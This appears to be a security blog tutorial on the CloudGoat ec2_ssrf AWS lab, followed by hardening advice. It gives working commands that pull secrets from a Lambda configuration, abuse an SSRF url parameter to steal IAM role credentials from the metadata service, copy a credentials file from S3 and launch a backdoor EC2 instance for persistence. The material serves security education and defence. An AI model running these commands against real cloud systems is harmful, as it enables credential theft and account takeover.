Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) is a web security flaw that forces a vulnerable application to make arbitrary HTTP requests on behalf of the attacker. When this occurs in an AWS EC2 environment, it can directly lead to the theft of IAM role credentials from the instance metadata service (IMDS), granting the attacker the same privileges as the instance role — often full administrative access.
Learning Objectives:
- Understand the mechanics of SSRF and how it can be chained with EC2 metadata exposure to compromise an AWS account.
- Execute a complete end‑to‑end attack path in a controlled CloudGoat lab using Linux commands and the AWS CLI.
- Apply layered defensive strategies, including IMDSv2, network controls, and input validation, to prevent and detect SSRF‑driven credential theft.
You Should Know:
1. Setting Up CloudGoat: The Attacker’s Playground
CloudGoat is a “vulnerable by design” AWS environment that simulates real‑world misconfigurations. The `ec2_ssrf` scenario starts with only read‑only privileges and ends with full AWS compromise. Before attacking, set up CloudGoat on a Linux machine (Kali is recommended):
Clone CloudGoat and install Python dependencies git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat pip3 install -r core/python/requirements.txt Install AWS CLI and Terraform (prerequisites) sudo apt install terraform awscli -y Configure your AWS credentials (use a dedicated admin account for the lab) aws configure --profile cloudgoat
After configuration, whitelist your IP and deploy the `ec2_ssrf` scenario:
python3 cloudgoat.py config whitelist --auto python3 cloudgoat.py create ec2_ssrf --profile cloudgoat
Once deployed, the `start.txt` file in the created directory contains the initial IAM user credentials for the “Solus” user, which will be our entry point.
2. Phase 1: Reconnaissance – The First Foothold
With the low‑privileged “Solus” credentials, we begin enumeration. While the Pacu AWS pentesting framework automates many steps, the core actions can be performed manually with the AWS CLI.
First, set the discovered Solus keys as your active profile:
export AWS_ACCESS_KEY_ID=<Solus_Access_Key> export AWS_SECRET_ACCESS_KEY=<Solus_Secret_Key>
Enumerate Lambda functions to find hardcoded secrets:
aws lambda list-functions --region us-east-1
Look for a Lambda function named cg-lambda-<CloudGoat_ID>. Retrieve its configuration and environment variables (which often contain leaked keys):
aws lambda get-function-configuration --function-name cg-lambda-<CloudGoat_ID> --region us-east-1
The output will reveal a second set of credentials for a more privileged IAM user — “Wrex”. These keys give us access to an EC2 instance that hosts a web application vulnerable to SSRF.
- Phase 2: Weaponizing SSRF – The Metadata Heist
The vulnerable web application accepts a `?url=` parameter, which we can abuse to force the EC2 instance to make requests to its own internal metadata service at 169.254.169.254. This service, if configured with the older IMDSv1, returns IAM credentials in plain text.
First, identify the public IP or DNS of the vulnerable EC2 instance (e.g., via aws ec2 describe-instances). Then use `curl` to test for SSRF:
Test for SSRF by requesting a public endpoint curl "http://<EC2_IP>/?url=http://ifconfig.me"
If the response contains your own public IP, the server is indeed vulnerable. Next, extract the instance’s IAM credentials:
Request the EC2 metadata endpoint curl "http://<EC2_IP>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The first response lists the attached IAM role name (e.g., cg-ec2-meek-role). Then retrieve the actual keys, secret, and token:
curl "http://<EC2_IP>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
A successful exploitation returns a JSON document containing AccessKeyId, SecretAccessKey, and `Token` — all temporary credentials for the EC2 instance role. These are often highly privileged.
4. Elevating Privileges and Achieving Persistence
With the stolen EC2 role credentials, we can now act as that role anywhere on the internet. First, configure the AWS CLI to use them:
export AWS_ACCESS_KEY_ID=<STOLEN_KEY> export AWS_SECRET_ACCESS_KEY=<STOLEN_SECRET> export AWS_SESSION_TOKEN=<STOLEN_TOKEN>
Now enumerate permissions. A typical next step is to discover a private S3 bucket that holds yet another set of credentials for a full‑admin user (“Shepard”):
List all S3 buckets aws s3 ls Download the credential file (if the bucket permits) aws s3 cp s3://<private-bucket-name>/creds.json .
After configuring the final admin keys, the attacker can invoke the original Lambda function, complete the scenario, and, in a real attack, establish persistence:
Create a backdoor EC2 instance using the compromised role aws ec2 run-instances --image-id ami-0abcdef1234567890 --instance-type t2.micro \ --iam-instance-profile Name="cg-ec2-meek-role" --security-group-ids sg-12345678
This command launches a new instance under the attacker’s control, preserving access even after the original credentials are rotated.
5. Hardening AWS: The Blue Team’s Arsenal
Defending against SSRF‑driven credential theft requires multiple layers:
- Enforce IMDSv2 on all EC2 instances. IMDSv2 uses a mandatory PUT‑request session token, mitigating SSRF attacks that rely on simple GET requests. An attacker cannot retrieve metadata without first obtaining a valid token:
Get an IMDSv2 token (this is what the application should do) TOKEN=<code>curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"</code> curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
- Use Metabadger to discover and upgrade IMDS versions across your account:
Install Metabadger pip3 install --user metabadger Discover instances still using IMDSv1 metabadger discover-metadata Harden all instances to require IMDSv2 metabadger harden-metadata
- Implement network‑level controls: Block outbound requests to `169.254.169.254` and all internal RFC‑1918 ranges using security groups or a web application firewall (WAF).
- Validate all user‑supplied URLs in your application code (e.g., block localhost, 127.0.0.1, and the EC2 metadata IP).
What Undercode Say:
- Key Takeaway 1: SSRF is not just a web vulnerability — in the cloud it becomes a direct path to full account compromise. The chaining of SSRF with IMDSv1 credential exposure is a proven, high‑impact attack vector.
- Key Takeaway 2: Defense must be layered. No single control stops SSRF, but combining IMDSv2 enforcement, strict network segmentation, and application‑level URL validation drastically reduces the risk. Tools like CloudGoat and Metabadger empower teams to find and fix these gaps before attackers do.
Analysis: The recent surge in cloud native attacks shows that SSRF remains a top‑tier threat, especially when legacy IMDSv1 is still enabled. Many organizations assume “internal” endpoints are safe, forgetting that any server‑side request originating from the application can be weaponized. Adversaries increasingly automate the entire flow — from SSRF detection to credential extraction and privilege escalation — using frameworks like Pacu or custom scripts. The only sustainable mitigation is to assume that a SSRF is inevitable and architect your environment (especially the metadata service) to withstand it.
Prediction:
SSRF exploitation will evolve from a niche web pentesting skill into a standard component of automated cloud attack toolkits. In response, AWS and other cloud providers will eventually deprecate IMDSv1 entirely and introduce more granular, workload‑specific metadata access policies. Organizations that proactively enforce IMDSv2 and integrate SSRF detection into their CI/CD pipelines will stay ahead; those that rely solely on reactive patching will face increasingly frequent and damaging breaches.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Aws Cloudgoat – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
